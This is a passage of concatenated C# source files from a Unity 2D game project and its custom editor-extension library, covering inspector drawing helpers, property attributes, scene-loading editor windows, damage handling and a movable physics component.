_fieldRect.x = _sliderRect.xMax + EditorGUIUtilityEnhanced.StandardHorizontalSeparator;
float _newMaxValue = EditorGUI.FloatField(_fieldRect, _maxValue);
if (_newMaxValue != _maxValue)
_maxValue = Mathf.Clamp(_newMaxValue, _minValue, _maxLimit);
}
#endregion
#region Max
/*****************************
********** MAX **********
****************************/
/// <summary>
/// Restrain a property value to a maximum one.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_property">Editing property.</param>
/// <param name="_maxValue">Property max value.</param>
public static void MaxField(Rect _position, SerializedProperty _property, float _maxValue) => MaxField(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _maxValue);
/// <summary>
/// Restrain a property value to a maximum one.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_property">Editing property.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_maxValue">Property max value.</param>
public static void MaxField(Rect _position, SerializedProperty _property, GUIContent _label, float _maxValue)
{
EditorGUI.BeginChangeCheck();
EditorGUI.PropertyField(_position, _property, _label);
if (EditorGUI.EndChangeCheck())
{
// Restrain value when changed
switch (_property.propertyType)
{
case SerializedPropertyType.Integer:
_property.intValue = (int)Mathf.Min(_property.intValue, _maxValue);
break;
case SerializedPropertyType.Float:
_property.floatValue = Mathf.Min(_property.floatValue, _maxValue);
break;
case SerializedPropertyType.Enum:
_property.enumValueIndex = (int)Mathf.Min(_property.enumValueIndex, _maxValue);
break;
default:
// Do nothing
break;
}
}
}
#endregion
#region Required
/****************************
******* REQUIRED *******
***************************/
/// <summary>
/// Draw a required property field.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to draw and check validity.</param>
public static void RequiredProperty(Rect _position, SerializedProperty _property) => RequiredProperty(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property));
/// <summary>
/// Draw a required property field.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to draw and check validity.</param>
/// <param name="_label">Label to display before property.</param>
public static void RequiredProperty(Rect _position, SerializedProperty _property, GUIContent _label)
{
Rect _rect = new Rect(_position.x, _position.y, _position.width, EditorGUIUtility.singleLineHeight);
EditorGUI.PropertyField(_rect, _property, _label);
if (!EditorGUIUtilityEnhanced.IsPropertyRequired(_property)) return;
_rect.y += _rect.height + EditorGUIUtility.standardVerticalSpacing;
_rect.height = EditorGUIUtilityEnhanced.DefaultHelpBoxHeight;
EditorGUI.HelpBox(_rect, "Keep in mind to set a reference to this field !", MessageType.Error);
}
#endregion
#region Readonly
/****************************
******* READONLY *******
***************************/
/// <summary>
/// Draw a readonly property field.
/// </summary>
/// <param name="_position">Rect to draw field in</param>
/// <param name="_property">Property to display</param>
public static void ReadOnlyProperty(Rect _position, SerializedProperty _property) => ReadOnlyProperty(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), false);
/// <summary>
/// Draw a readonly property field.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to display.</param>
/// <param name="_label">Label to display before property.</param>
/// <param name="_useRadioToggle">If property is boolean type, indicates if using radio toggle or standard one.</param>
public static void ReadOnlyProperty(Rect _position, SerializedProperty _property, GUIContent _label, bool _useRadioToggle = false)
{
GUI.enabled = false;
// Draw radio field if needed
if ((_property.propertyType == SerializedPropertyType.Boolean) && _useRadioToggle)
{
EditorGUI.Toggle(_position, _label, _property.boolValue, EditorStyles.radioButton);
}
else EditorGUI.PropertyField(_position, _property, _label);
GUI.enabled = true;
}
#endregion
#endregion
#region Decorator Drawers
/***************************
******* SECTION *******
**************************/
/// <summary>
/// Draw a section, a header-like usefull to order your editor.
/// </summary>
/// <param name="_position">Rect to draw the section.</param>
/// <param name="_label">Label to display.</param>
/// <param name="_lineWidth">Width of the lines surrounding the label (in pixels).</param>
public static void Section(Rect _position, GUIContent _label, float _lineWidth)
{
// Get label size, plus line and section width
Vector2 _labelSize = EditorGUIUtilityEnhanced.SectionLabelStyle.CalcSize(_label);
float _sectionWidth = Mathf.Min(_position.width, _labelSize.x + (EditorGUIUtilityEnhanced.SpaceAroundSectionLabel * 2) + (_lineWidth * 2));
_lineWidth = ((_sectionWidth - _labelSize.x) / 2f) - EditorGUIUtilityEnhanced.SpaceAroundSectionLabel;
// Set position at the middle of the area
_position.y += Mathf.Max(0, (_position.height - _labelSize.y) / 2f);
// Draw horizontal line if enough space
if (_lineWidth > 0)
{
Rect _lineRect = new Rect()
{
x = _position.x + ((_position.width - _sectionWidth) / 2f),
y = _position.y + _labelSize.y / 2f,
height = 2f,
width = _lineWidth
};
// Set label x position
_position.x = _lineRect.x + _lineWidth + EditorGUIUtilityEnhanced.SpaceAroundSectionLabel;
// Draw lines around label
EditorGUI.DrawRect(_lineRect, EditorGUIUtilityEnhanced.SectionLabelStyle.normal.textColor);
_lineRect.x += _lineWidth + _labelSize.x + (EditorGUIUtilityEnhanced.SpaceAroundSectionLabel * 2);
EditorGUI.DrawRect(_lineRect, EditorGUIUtilityEnhanced.SectionLabelStyle.normal.textColor);
}
// Set maximum available space surrounding the label
else if (_position.width > _labelSize.x)
{
_position.x += (_position.width - _labelSize.x) / 2f;
}
// Draw label
EditorGUI.LabelField(_position, _label, EditorGUIUtilityEnhanced.SectionLabelStyle);
}
/*******************************
***** HORIZONTAL LINE *****
******************************/
/// <summary>
/// Draw a horizontal line.
/// </summary>
/// <param name="_position">Rect to draw the line.</param>
/// <param name="_width">Line width ; 0 is full width.</param>
/// <param name="_color">Color of the line.</param>
public static void HorizontalLine(Rect _position, float _width, Color _color)
{
// Specify line width if needed
if ((_width > 0) && (_width < _position.width))
{
_position.x += (_position.width - _width) / 2f;
_position.width = _width;
}
// Draw rect at position of specified color
EditorGUI.DrawRect(_position, _color);
}
#endregion
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/MaxAttribute.cs
using System;
using System.Diagnostics;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
[Conditional("UNITY_EDITOR")]
public class MaxAttribute : PropertyAttribute
{
#region Fields
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Maximum allowed value.
/// </summary>
public readonly float MaxValue = 0;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Ensure that this field value will not exceed a maximum one.
/// </summary>
/// <param name="_maxValue">Maximum field value.</param>
public MaxAttribute(float _maxValue)
{
MaxValue = _maxValue;
}
#endregion
}
}
<file_sep>/Assets/Scripts/Camera/PlayerCameraAttributes.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
[CreateAssetMenu(fileName = "PlayerCameraAttributes", menuName = "Datas/Player Camera Attributes", order = 50)]
public class PlayerCameraAttributes : ScriptableObject
{
#region Attributes
[HorizontalLine(1, order = 0), Section("PLAYER CAMERA ATTRIBUTES", order = 1), Space(order = 2)]
public Bounds TargetBounds = new Bounds();
[Range(0, 10)] public float Speed = .1f;
[HorizontalLine(1)]
[Min(0)] public float ShakeForce = 25;
[Min(0)] public float ShakeSoftening = 2.25f;
[Min(0)] public int ShakeTraumaPower = 2;
public float ShakeMaxAngle = 5;
public Vector2 ShakeMaxOffset = Vector2.one;
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/DecoratorDrawers/SectionDecoratorDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(SectionAttribute))]
public class SectionDecoratorDrawer : DecoratorDrawer
{
#region Methods
/***************************
******* METHODS *******
***************************/
// Specify how tall the GUI for this decorator is in pixels
public override float GetHeight()
{
SectionAttribute _attribute = (SectionAttribute)attribute;
return (EditorGUIUtility.singleLineHeight + _attribute.HeightSpace) * 2;
}
// Make your own GUI for the decorator
public override void OnGUI(Rect _position)
{
SectionAttribute _attribute = (SectionAttribute)attribute;
EditorGUIEnhanced.Section(_position, _attribute.Label, _attribute.LineWidth);
}
#endregion
}
}
<file_sep>/Assets/Scripts/Combat/Damageable.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
public class Damageable : MonoBehaviour
{
#region Fields
[HorizontalLine(1, order = 0), Section("DAMAGEABLE", 50, 0, order = 1), HorizontalLine(2, SuperColor.SmokyBlack, order = 2)]
[SerializeField, Required] private Collider2D hitBox = null;
[SerializeField, Required] private Animator animator = null;
[HorizontalLine(2, SuperColor.Indigo)]
[ProgressBar("maxHealth", SuperColor.Crimson)]
[SerializeField] private int health = 100;
[SerializeField] private int maxHealth = 100;
[HorizontalLine(2, SuperColor.Navy)]
[SerializeField, ReadOnly] private bool isDead = false;
// -----------------------
private static readonly int anim_HitID = Animator.StringToHash("Hit");
private static readonly int anim_DeathID = Animator.StringToHash("Death");
#endregion
#region Methods
/// <summary>
/// Make the object take a certain amount of damages.
/// Returns false if the object is no longer alive, true otherwise.
/// </summary>
public virtual bool TakeDamage(int _damages)
{
health -= _damages;
animator.SetTrigger(anim_HitID);
if (health > 0)
return true;
Die();
return false;
}
protected virtual void Die()
{
health = 0;
isDead = true;
animator.SetTrigger(anim_DeathID);
// Deactivate object.
hitBox.enabled = enabled = false;
}
// -----------------------
private void Start()
{
health = maxHealth;
}
#endregion
}
}
<file_sep>/Assets/Scripts/Utilities/Mathm.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using UnityEngine;
namespace Nowhere
{
/// <summary>
/// Contains a bunch of useful math methods.
/// </summary>
public static class Mathm
{
#region Methods
/// <summary>
/// Get a boolean as a sign.
/// 1 if true, -1 otherwise.
/// </summary>
/// <param name="_bool">Boolean to get sign from.</param>
/// <returns>Returns this boolean sign as 1 or -1.</returns>
public static int Sign(bool _bool)
{
return _bool ? 1 : -1;
}
// -----------------------
/// <summary>
/// Get if two floats have a different sign.
/// </summary>
/// <param name="_a">Float a to compare.</param>
/// <param name="_b">Float b to compare.</param>
/// <returns>Returns false if floats have the same sign, true otherwise./returns>
public static bool HaveDifferentSign(float _a, float _b)
{
return Mathf.Sign(_a) != Mathf.Sign(_b);
}
/// <summary>
/// Get if two floats have the same sign and are not null.
/// </summary>
/// <param name="_a">Float a to compare.</param>
/// <param name="_b">Float b to compare.</param>
/// <returns>Returns true if both floats do not equal 0 and have a different sign, false otherwise.</returns>
public static bool HaveDifferentSignAndNotNull(float _a, float _b)
{
return ((_a != 0) && (_b != 0)) ? HaveDifferentSign(_a, _b) : false;
}
// -----------------------
/// <summary>
/// Get if a Vector2 is null, that is
/// if its x & y values are equal to zero.
/// </summary>
/// <param name="_vector">Vector to check.</param>
/// <returns>Returns true if both x & y Vector2 values
/// are equal to zero, false otherwise.</returns>
public static bool IsVectorNull(Vector2 _vector)
{
return (_vector.x == 0) && (_vector.y == 0);
}
/// <summary>
/// Rotates a vector of a certain angle.
/// </summary>
/// <param name="_vector">Vector to rotate.</param>
/// <param name="_angle">Angle to rotate vector by.</param>
/// <returns>Returns new rotated vector.</returns>
public static Vector2 RotateVector(Vector2 _vector, float _angle)
{
// Equivalent :
// Quaternion.AngleAxis(_angle, Vector3.forward) * _vector;
float _sin = Mathf.Sin(_angle * Mathf.Deg2Rad);
float _cos = Mathf.Cos(_angle * Mathf.Deg2Rad);
return new Vector2()
{
x = (_cos * _vector.x) - (_sin * _vector.y),
y = (_sin * _vector.x) + (_cos * _vector.y)
};
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/CoreSceneSystem/CoreSceneSystem.cs
using System;
using UnityEditor;
using UnityEditor.SceneManagement;
using UnityEngine;
using UnityEngine.SceneManagement;
namespace EnhancedEditor.Editor
{
public class CoreSceneSystem : EditorWindow
{
/// <summary>
/// Serializable class used to store settings relative to the Core Scene system,
/// saved with <see cref="EditorPrefs"/> using Json.
/// </summary>
[Serializable]
private struct CoreSceneSettings
{
public bool IsEnable;
public bool DoLoadActiveScenes;
public string CoreScenePath;
// ----------------------------------------
public CoreSceneSettings(bool _isEnable, bool _doLoadActiveScenes, string _coreScenePath)
{
IsEnable = _isEnable;
DoLoadActiveScenes = _doLoadActiveScenes;
CoreScenePath = _coreScenePath;
}
}
#region Fields
private const string SettingsPrefs = "CoreSceneSettings";
private const string StartingSessionState = "IsStarting";
private readonly GUIContent coreScenePathGUI = new GUIContent("Core scene path", "Path of the scene to load when entering play mode");
private readonly GUIContent isEnableGUI = new GUIContent("Enable", "Is the core scene loading enable");
private readonly GUIContent doLoadActiveScenesGUI = new GUIContent("Load active scene(s)",
"When enabled, active scenes in the hierarchy will be loaded after the core scene");
/// <summary>
/// ID used do display a help box at the bottom of the window :
///
/// • -1 : Registration Error
/// • 0 : Copy path info
/// • 1 : Autoload scene registered
/// • 2 : Scene autoload disabled
/// </summary>
private int messageID = 0;
[SerializeField] private CoreSceneSettings settings = new CoreSceneSettings();
#endregion
#region Methods
#region Editor Window
// -------------------------------------------
// Editor Window
// -------------------------------------------
[MenuItem("Enhanced Editor/Core Scene System")]
public static void GetWindow() => GetWindow(typeof(CoreSceneSystem)).Show();
private static CoreSceneSettings LoadSettings()
{
string _settings = EditorPrefs.GetString(SettingsPrefs, string.Empty);
if (!string.IsNullOrEmpty(_settings))
return JsonUtility.FromJson<CoreSceneSettings>(_settings);
else
return new CoreSceneSettings(false, true, "Assets/Core.unity");
}
private void Save()
{
EditorPrefs.SetString(SettingsPrefs, JsonUtility.ToJson(settings));
}
// ----------------------------------------
private void SetCoreScene()
{
SceneAsset _mainScene = AssetDatabase.LoadAssetAtPath<SceneAsset>(settings.CoreScenePath);
if (_mainScene)
{
EditorSceneManager.playModeStartScene = _mainScene;
messageID = 1;
// Save changes.
Save();
}
else
messageID = -1;
}
// ----------------------------------------
private void OnEnable()
{
settings = LoadSettings();
}
private void OnGUI()
{
// Header draw.
EditorGUILayout.LabelField("Core Scene System", EditorStyles.boldLabel);
// Top right window - Enable toggle.
EditorGUILayout.BeginHorizontal();
GUILayout.FlexibleSpace();
EditorGUILayout.LabelField(isEnableGUI, GUILayout.MaxWidth(50));
bool _enable = EditorGUILayout.Toggle(settings.IsEnable, GUILayout.MaxWidth(15));
if (_enable != settings.IsEnable)
{
if (!_enable)
{
EditorSceneManager.playModeStartScene = null;
messageID = 2;
// Save changes.
Save();
}
else
SetCoreScene();
settings.IsEnable = _enable;
}
EditorGUILayout.EndHorizontal();
// Active scene(s) load parameter.
bool _doLoadActiveScenes = EditorGUILayout.Toggle(doLoadActiveScenesGUI, settings.DoLoadActiveScenes);
if (_doLoadActiveScenes != settings.DoLoadActiveScenes)
{
settings.DoLoadActiveScenes = _doLoadActiveScenes;
// Save changes.
Save();
}
EditorGUILayoutEnhanced.HorizontalLine(1, SuperColor.Grey.GetColor());
// Scene registration.
settings.CoreScenePath = EditorGUILayout.TextField(coreScenePathGUI, settings.CoreScenePath);
EditorGUILayout.BeginHorizontal();
GUILayout.FlexibleSpace();
if (GUILayout.Button("Load Core Scene", GUILayout.MaxWidth(125)))
{
SetCoreScene();
}
EditorGUILayout.EndHorizontal();
// Display scene load informative message.
switch (messageID)
{
case -1:
EditorGUILayout.HelpBox("Missing scene error ! Couldn't find scene at requested path.",
MessageType.Error);
break;
case 0:
EditorGUILayout.HelpBox("You can copy an asset path with a context click and selecting \" Copy Path\".",
MessageType.Warning);
break;
case 1:
EditorGUILayout.HelpBox("Core scene successfully loaded !",
MessageType.Info);
break;
case 2:
EditorGUILayout.HelpBox("Core scene load disabled.",
MessageType.Info);
break;
default:
// Display nothing.
break;
}
}
#endregion
#region Play Mode Loads
// -------------------------------------------
// Play Mode Loads
// -------------------------------------------
private static string[] activeScenes;
/// <summary>
/// This method has two purpose :
///
/// • First, when Unity starts, set registered core scene if one,
/// as Unity do not keep it in cache.
///
/// • Second, if the associated option is enabled, when entering play mode,
/// register active scenes path to load them soon after ; scene loads cannot
/// be performed before entering play mode, and once in, opened scene informations
/// will not be available anymore.
/// </summary>
[InitializeOnLoadMethod]
private static void Initialization()
{
// When Unity starts, set core scene if one has been saved
if (!EditorApplication.isPlayingOrWillChangePlaymode)
{
if (!EditorSceneManager.playModeStartScene && SessionState.GetBool(StartingSessionState, true))
{
SessionState.SetBool(StartingSessionState, false);
SceneAsset _mainScene = AssetDatabase.LoadAssetAtPath<SceneAsset>(LoadSettings().CoreScenePath);
if (_mainScene)
EditorSceneManager.playModeStartScene = _mainScene;
}
return;
}
// When entering play mode, register active scenes path to load them
// if the option is enabled
if (!EditorSceneManager.playModeStartScene)
return;
if (LoadSettings().DoLoadActiveScenes)
{
activeScenes = new string[EditorSceneManager.sceneCount];
for (int _i = 0; _i < activeScenes.Length; _i++)
{
activeScenes[_i] = EditorSceneManager.GetSceneAt(_i).path;
}
}
else
activeScenes = null;
}
/// <summary>
/// When entering play mode, load registered active scenes.
/// </summary>
[RuntimeInitializeOnLoadMethod(RuntimeInitializeLoadType.BeforeSceneLoad)]
private static void LoadActiveScenes()
{
if (activeScenes == null)
return;
LoadSceneParameters _parameter = new LoadSceneParameters();
_parameter.loadSceneMode = LoadSceneMode.Additive;
string _coreSceneName = LoadSettings().CoreScenePath;
for (int _i = 0; _i < activeScenes.Length; _i++)
{
if (activeScenes[_i] != _coreSceneName)
EditorSceneManager.LoadSceneInPlayMode(activeScenes[_i], _parameter);
}
}
#endregion
#endregion
}
}
<file_sep>/Assets/Tools/Scene Loader/Editor/SceneLoader.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using System;
using System.IO;
using UnityEditor;
using UnityEditor.SceneManagement;
using UnityEngine;
public class SceneLoader : EditorWindow
{
#region Methods
[MenuItem("Tools/Scene Loader")]
public static void Get() => GetWindow(typeof(SceneLoader)).Show();
// -----------------------
private GUIContent loadButtonGUI = new GUIContent("Load", "Load this scene.");
private string[] scenesPath = new string[] { };
private string[] scenesName = new string[] { };
private void OnEnable()
{
scenesPath = Array.ConvertAll(AssetDatabase.FindAssets("t:Scene"), AssetDatabase.GUIDToAssetPath);
Array.Sort(scenesPath);
scenesName = new string[scenesPath.Length];
for (int _i = 0; _i < scenesName.Length; _i++)
{
scenesName[_i] = Path.GetFileNameWithoutExtension(scenesPath[_i]);
}
}
private void OnGUI()
{
for (int _i = 0; _i < scenesPath.Length; _i++)
{
EditorGUILayout.BeginHorizontal();
EditorGUILayout.LabelField(scenesName[_i]);
GUILayout.FlexibleSpace();
if (GUILayout.Button(loadButtonGUI))
{
EditorSceneManager.OpenScene(scenesPath[_i]);
Close();
}
EditorGUILayout.EndHorizontal();
}
}
#endregion
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Decorators/HorizontalLineAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = true, Inherited = true)]
public class HorizontalLineAttribute : PropertyAttribute
{
#region Fields
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Default line height (in pixels).
/// </summary>
public const float DefaultHeight = 2f;
/// <summary>
/// Default line width (in pixels) ; 0 is full width.
/// </summary>
public const float DefaultWidth = 0f;
/// <summary>
/// Default line color.
/// </summary>
public const SuperColor DefaultColor = SuperColor.Grey;
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// This line height (in pixels).
/// </summary>
public readonly float Height = DefaultHeight;
/// <summary>
/// This line width (in pixels) ; 0 is full width.
/// </summary>
public readonly float Width = DefaultWidth;
/// <summary>
/// This line color.
/// </summary>
public readonly SuperColor Color = DefaultColor;
#endregion
#region Constructor
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Draw a horizontal line of customizable height and color.
/// </summary>
/// <param name="_height">Line height (in pixels).</param>
/// <param name="_color">Line color.</param>
public HorizontalLineAttribute(float _height = DefaultHeight, SuperColor _color = DefaultColor)
{
Height = Mathf.Max(1, _height);
Color = _color;
}
/// <summary>
/// Draw a horizontal line of customizable height, width and color.
/// </summary>
/// <param name="_height">Line height (in pixels).</param>
/// <param name="_width">Line width (in pixels).</param>
/// <param name="_color">Line color.</param>
public HorizontalLineAttribute(float _height, float _width, SuperColor _color = DefaultColor) : this(_height, _color)
{
Width = Mathf.Max(0, _width);
}
#endregion
}
}
<file_sep>/Assets/Scripts/Movables/Movable.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using System;
using UnityEngine;
namespace Nowhere
{
/// <summary>
/// Used to determine collision contacts
/// when calculating object movement.
/// </summary>
public enum CollisionSystem
{
Simple,
Complex,
Physics,
Custom
}
[RequireComponent(typeof(Rigidbody2D))]
public class Movable : UpdatedBehaviour, IMovableUpdate, IPhysicsUpdate
{
#region Fields / Properties
protected const float castMaxDistanceDetection = .001f;
protected const int collisionSystemRecursionCeil = 3;
// -----------------------
[Section("MOVABLE", 50, 0, order = 0), HorizontalLine(2, SuperColor.Sapphire, order = 1)]
[SerializeField, Required] protected new Collider2D collider = null;
[SerializeField, Required] protected new Rigidbody2D rigidbody = null;
[HorizontalLine(2, SuperColor.Crimson)]
[SerializeField, PropertyField] protected bool isAwake = true;
[SerializeField, PropertyField] protected bool useGravity = true;
[SerializeField, PropertyField] protected CollisionSystem collisionSystem = CollisionSystem.Complex;
public bool IsAwake
{
get { return isAwake; }
protected set
{
#if UNITY_EDITOR
if (!Application.isPlaying) return;
#endif
if (value != isAwake)
{
isAwake = value;
// Manage movable update registration.
if (value)
UpdateManager.Instance.Register((IMovableUpdate)this);
else
UpdateManager.Instance.Unregister((IMovableUpdate)this);
}
}
}
public bool UseGravity
{
get { return useGravity; }
protected set
{
#if UNITY_EDITOR
if (!Application.isPlaying) return;
#endif
if (value != useGravity)
{
useGravity = value;
// Manage physics update registration.
if (value)
UpdateManager.Instance.Register((IPhysicsUpdate)this);
else
UpdateManager.Instance.Unregister((IPhysicsUpdate)this);
}
}
}
public CollisionSystem CollisionSystem
{
get { return collisionSystem; }
protected set
{
#if UNITY_EDITOR
if (!Application.isPlaying) return;
#endif
collisionSystem = value;
// Set collision calcul method.
switch (value)
{
case CollisionSystem.Simple:
CollisionSystemDelegate = SimpleCollisionsSystem;
break;
case CollisionSystem.Complex:
CollisionSystemDelegate = ComplexCollisionsSystem;
break;
case CollisionSystem.Physics:
CollisionSystemDelegate = PhysicsCollisionsSystem;
break;
// Set default as custom.
default:
CollisionSystemDelegate = CustomCollisionsSystem;
break;
}
}
}
// -----------------------
[HorizontalLine(2, SuperColor.Green)]
[SerializeField, ReadOnly] protected int facingSide = 1;
[SerializeField, ReadOnly] protected bool isGrounded = false;
public int FacingSide { get { return facingSide; } }
public bool IsGrounded { get { return isGrounded; } }
[HorizontalLine(2, SuperColor.Indigo)]
[SerializeField, Min(0)] protected float speed = 1;
[SerializeField, Min(0)] protected float speedCoef = 1;
// --------------------------------------------------
//
// Velocity variables
//
// Movable class velocity is composed of 3 Vector2 :
// • Force, which is related to external forces, having an impact in duration (like wind)
// • Instant Force, also external forces by applied for one frame only (like recoil)
// • Movement, the velocity applied by the object itself (like walking)
//
[HorizontalLine(2, SuperColor.Pumpkin)]
[SerializeField] protected Vector2 force = Vector2.zero;
[SerializeField] protected Vector2 instantForce = Vector2.zero;
[SerializeField] protected Vector2 movement = Vector2.zero;
// -----------------------
#if UNITY_EDITOR
[HorizontalLine(2, SuperColor.Purple, order = -1)]
[HelpBox("Previous position is used for debug and refreshing object after moving it in scene editor", HelpBoxType.Warning)]
[SerializeField, ReadOnly] protected Vector2 previousPosition = new Vector2();
#endif
// -----------------------
protected Action CollisionSystemDelegate = null;
protected ContactFilter2D contactFilter = new ContactFilter2D();
protected Vector2 groundNormal = new Vector2();
#endregion
#region Methods
#region Flip
/// <summary>
/// Flip the object (face opposite side).
/// </summary>
public virtual void Flip()
{
facingSide *= -1;
Vector3 _scale = transform.localScale;
transform.localScale = new Vector3(_scale.x * -1, _scale.y, _scale.z);
}
/// <summary>
/// Make the object face an indicated side.
/// </summary>
/// <param name="_facingSide">Side to look (1 for right, -1 for left).</param>
public void Flip(int _facingSide)
{
if (facingSide != _facingSide)
Flip();
}
#endregion
#region Speed
/// <summary>
/// Adds a speed coefficient to the object velocity.
/// </summary>
public void AddSpeedCoef(float _coef)
{
if (_coef != 0)
speedCoef *= _coef;
}
/// <summary>
/// Remove a speed coefficient from the object velocity.
/// </summary>
public void RemoveSpeedCoef(float _coef)
{
if (_coef != 0)
speedCoef /= _coef;
}
#endregion
#region Velocity
/// <summary>
/// Adds a force to the object velocity.
/// Force value is decreased over time.
/// </summary>
public virtual void AddForce(Vector2 _force) => force += _force;
/// <summary>
/// Adds a force to the object velocity for this frame only.
/// </summary>
public virtual void AddInstantForce(Vector2 _instantForce) => instantForce += _instantForce;
protected virtual void MoveHorizontally(float _movement)
{
// Flip object if not facing movement direction.
if (_movement != 0)
{
if (Mathf.Sign(_movement) != facingSide)
Flip();
movement.x += _movement;
}
}
protected virtual void MoveVertically(float _movement) => movement.y += _movement;
// -----------------------
/// <summary>
/// Get the object velocity movement for this frame.
/// </summary>
protected virtual Vector2 GetVelocity() => (((force + movement) * Time.deltaTime) + instantForce) * speedCoef;
// -----------------------
float previousXForce = 0;
float previousXVelocity = 0;
protected virtual void ComputeVelocityBeforeMovement()
{
// Slowly decrease force over time.
if (force.x != 0)
{
float _maxDelta = isGrounded ?
ProgramSettings.I.GroundDecelerationForce :
ProgramSettings.I.AirDecelerationForce;
// Calculs when going to opposite force direction.
if (movement.x != 0)
{
if (Mathm.HaveDifferentSign(force.x, movement.x))
{
_maxDelta = Mathf.Max(_maxDelta, Mathf.Abs(movement.x) * 2);
movement.x = Mathf.MoveTowards(movement.x, 0, Mathf.Abs(force.x) * Time.deltaTime);
}
else
movement.x = Mathf.Max(0, Mathf.Abs(movement.x) - Mathf.Abs(force.x)) * Mathf.Sign(movement.x);
}
// Calculs when going to opposite force direction,
// compared to previous frame.
float _previousXOtherVelocity = previousXVelocity - previousXForce;
if (Mathm.HaveDifferentSignAndNotNull(_previousXOtherVelocity, previousXForce))
{
float _difference = Mathf.Abs(_previousXOtherVelocity);
if (!Mathm.HaveDifferentSign(_previousXOtherVelocity, instantForce.x + movement.x))
_difference -= Mathf.Abs(instantForce.x + movement.x);
if (_difference > 0)
force.x = Mathf.MoveTowards(force.x, 0, _difference);
}
// Reduce force
if (_maxDelta != 0)
force.x = Mathf.MoveTowards(force.x, 0, _maxDelta * Time.deltaTime);
}
// -----------------------
previousXForce = force.x;
previousXVelocity = force.x + instantForce.x + movement.x;
// If going to opposite force direction, accordingly reduce force and movement.
if (Mathm.HaveDifferentSignAndNotNull(force.y, movement.y))
{
float _maxDelta = Mathf.Abs(movement.y);
movement.y = Mathf.MoveTowards(movement.y, 0, Mathf.Abs(force.y));
force.y = Mathf.MoveTowards(force.y, 0, _maxDelta * Time.deltaTime);
}
}
#endregion
#region Physics
/// <summary>
/// Add gravity force to the object.
/// Called every frame while the object is using gravity.
/// </summary>
void IPhysicsUpdate.Update() => PhysicsUpdate();
protected virtual void PhysicsUpdate() => AddGravity();
// -----------------------
protected void AddGravity()
{
if (force.y > ProgramSettings.I.MaxGravity)
{
AddForce(new Vector2(0, Mathf.Max(Physics2D.gravity.y * Time.deltaTime, ProgramSettings.I.MaxGravity - force.y)));
}
}
protected void AddGravity(float _gravityCoef, float _maxGravityCoef)
{
float _maxGravityValue = ProgramSettings.I.MaxGravity * _maxGravityCoef;
if (force.y > _maxGravityValue)
{
AddForce(new Vector2(0, Mathf.Max(Physics2D.gravity.y * _gravityCoef * Time.deltaTime, _maxGravityValue - force.y)));
}
}
#endregion
#region Movements
/// <summary>
/// Update this object position based on velocity and related informations.
/// Called at the end of the frame.
/// </summary>
void IMovableUpdate.Update() => MovableUpdate();
protected virtual void MovableUpdate()
{
#if UNITY_EDITOR
// Refresh position if object moved in editor
if (previousPosition != rigidbody.position) RefreshPosition();
#endif
if (!(force + instantForce + movement).IsNull())
{
Vector2 _lastPosition = rigidbody.position;
ComputeVelocityBeforeMovement();
CollisionSystemDelegate();
RefreshPosition();
Vector2 _finalMovement = rigidbody.position - _lastPosition;
if (useGravity)
RefreshGroundState(_finalMovement);
OnAppliedVelocity(_finalMovement);
}
else
OnAppliedVelocity(Vector2.zero);
#if UNITY_EDITOR
previousPosition = rigidbody.position;
#endif
}
/// <summary>
/// Set this object position.
/// Use this instead of setting <see cref="Transform.position"/>.
/// </summary>
public void SetPosition(Vector2 _position)
{
if (rigidbody.position != _position)
{
rigidbody.position = _position;
RefreshPosition();
}
}
// -----------------------
private void RefreshGroundState(Vector2 _movement)
{
if (_movement == Vector2.zero)
return;
// Iterate over movement hits to find if one of these
// can be considered as ground.
bool _isGrounded = false;
for (int _i = 0; _i < castBufferCount; _i++)
{
if (castBuffer[_i].normal.y >= ProgramSettings.I.GroundMinYNormal)
{
_isGrounded = true;
groundNormal = castBuffer[_i].normal;
break;
}
}
// If didn't hit ground during movement,
// try to get it with last ground normal inverse direction cast.
//
// Necessary when movement magnitude is inferior to default contact offset.
if (!_isGrounded)
{
_isGrounded = CastCollider(groundNormal * Physics2D.defaultContactOffset * -2, out RaycastHit2D _groundHit) &&
(_groundHit.normal.y >= ProgramSettings.I.GroundMinYNormal);
if (_isGrounded)
groundNormal = _groundHit.normal;
else if (isGrounded)
groundNormal = Vector2.up;
}
if (isGrounded != _isGrounded)
{
isGrounded = _isGrounded;
OnSetGrounded();
}
}
private void RefreshPosition()
{
ExtractFromCollisions();
